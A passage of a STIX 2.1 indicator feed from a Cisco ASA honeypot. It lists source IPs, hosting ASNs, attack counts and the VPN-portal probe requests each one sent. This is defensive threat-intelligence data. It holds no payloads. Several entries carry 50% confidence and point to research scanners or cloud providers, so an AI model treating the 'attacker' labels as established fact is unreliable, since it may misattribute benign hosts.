          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--e306ec57-1ebf-446a-968c-bea293e64743",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:20:10.000Z",
      "valid_until": "2026-06-09T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T19:26:28.536Z",
          "last_seen": "2026-05-08T19:26:28.536Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9d0470cd-b7cf-4095-8bd4-2f878e6e629e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:20:10.000Z",
      "valid_until": "2026-06-09T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T20:13:02.643Z",
          "last_seen": "2026-05-20T20:20:35.449Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 215540 (Global Connectivity Solutions Llp)",
      "id": "indicator--1e1287d6-420b-4a1b-bfa5-0dabd62fb61a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '178.130.47.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:20:10.000Z",
      "valid_until": "2026-06-09T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 68,
          "first_seen": "2026-05-08T20:34:44.125Z",
          "last_seen": "2026-05-31T05:20:58.239Z",
          "country": "United States",
          "country_code": "US",
          "asn": 215540,
          "as_org": "Global Connectivity Solutions Llp",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ec0f56ed-c836-47a1-94dc-cd16f5d37d88",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T21:20:10.000Z",
      "valid_until": "2026-06-09T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T20:22:27.983Z",
          "last_seen": "2026-05-31T03:49:32.288Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T22:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: US; ASN 206092 (F.n.s. Holdings Limited)",
      "id": "indicator--e1d4aabb-4447-4587-bce8-8bb8df75ddec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.144.19.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:20:11.000Z",
      "valid_until": "2026-06-09T22:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T22:08:52.941Z",
          "last_seen": "2026-05-08T22:08:52.941Z",
          "country": "United States",
          "country_code": "US",
          "asn": 206092,
          "as_org": "F.n.s. Holdings Limited",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1941563c-3fd8-4f28-9527-8b2895383666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:20:10.000Z",
      "valid_until": "2026-06-09T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T22:40:53.028Z",
          "last_seen": "2026-05-23T00:10:23.729Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--537e4fff-6613-46f4-99d3-ef3d15f1783d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:20:10.000Z",
      "valid_until": "2026-06-09T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T23:19:36.649Z",
          "last_seen": "2026-05-08T23:19:39.652Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b069ec97-0424-4f83-94b6-bfb702bb10de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:20:10.000Z",
      "valid_until": "2026-06-09T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T22:38:11.536Z",
          "last_seen": "2026-05-08T22:38:23.334Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--162e89ee-fbcf-4fec-9cda-036833d2f424",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.82.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:20:10.000Z",
      "valid_until": "2026-06-09T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-08T23:11:37.060Z",
          "last_seen": "2026-05-30T01:54:37.341Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RO; ASN 214295 (Skynet Network Ltd)",
      "id": "indicator--fbf59f30-d039-47d2-a3b2-d85639ec2d96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T23:20:10.000Z",
      "valid_until": "2026-06-09T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T22:49:13.467Z",
          "last_seen": "2026-05-08T22:49:13.467Z",
          "country": "Romania",
          "country_code": "RO",
          "asn": 214295,
          "as_org": "Skynet Network Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--311e4fc7-fdbd-4658-9a60-3f96ca8af1b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:20:10.000Z",
      "valid_until": "2026-06-10T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T23:35:00.713Z",
          "last_seen": "2026-05-25T20:56:11.629Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--ef744524-da9f-4c9f-950f-ab5dab88829e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:20:10.000Z",
      "valid_until": "2026-06-10T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-08T23:29:04.812Z",
          "last_seen": "2026-05-23T06:25:33.730Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 197854 (Eisenia AB)",
      "id": "indicator--06e572d2-4449-4960-9d40-6dac29cdc544",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.130.200.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:20:10.000Z",
      "valid_until": "2026-06-10T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 48,
          "first_seen": "2026-05-08T23:51:07.136Z",
          "last_seen": "2026-05-29T10:16:47.942Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 197854,
          "as_org": "Eisenia AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--cb9d5bfe-d464-40fc-8c8f-41bd741cb2c4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:20:18.000Z",
      "valid_until": "2026-06-10T01:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T00:40:34.097Z",
          "last_seen": "2026-05-27T23:27:58.492Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--34dafc58-eee9-4591-af74-4d0cabba27d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:20:18.000Z",
      "valid_until": "2026-06-10T01:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-09T01:19:09.586Z",
          "last_seen": "2026-05-25T21:10:36.205Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--fbd52456-b9e8-4c47-a0bc-07bdc7238086",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '44.202.229.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:20:18.000Z",
      "valid_until": "2026-06-10T01:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 5,
          "first_seen": "2026-05-09T01:15:24.582Z",
          "last_seen": "2026-05-22T00:55:16.978Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T01:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--39c8c0c3-552e-4ec3-bb3c-73d67b5097ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.86.2.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:20:18.000Z",
      "valid_until": "2026-06-10T01:20:18.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-09T01:15:28.323Z",
          "last_seen": "2026-05-09T01:15:28.323Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--0561ee9c-09e7-4515-8053-3d887d3edef6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:20:10.000Z",
      "valid_until": "2026-06-10T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-03T18:45:38.836Z",
          "last_seen": "2026-05-14T06:31:35.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--64a5799a-52a1-405c-9ff8-d03bf4d9a9c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:20:10.000Z",
      "valid_until": "2026-06-10T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-09T01:29:39.603Z",
          "last_seen": "2026-05-24T04:31:57.414Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--f662fcbd-d1ad-439d-9763-d842a6530924",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:20:10.000Z",
      "valid_until": "2026-06-10T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-09T03:04:02.114Z",
          "last_seen": "2026-05-26T07:56:04.424Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-09T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--95fdd77b-e552-4414-943c-ee04f7b69e44",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.62.100.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
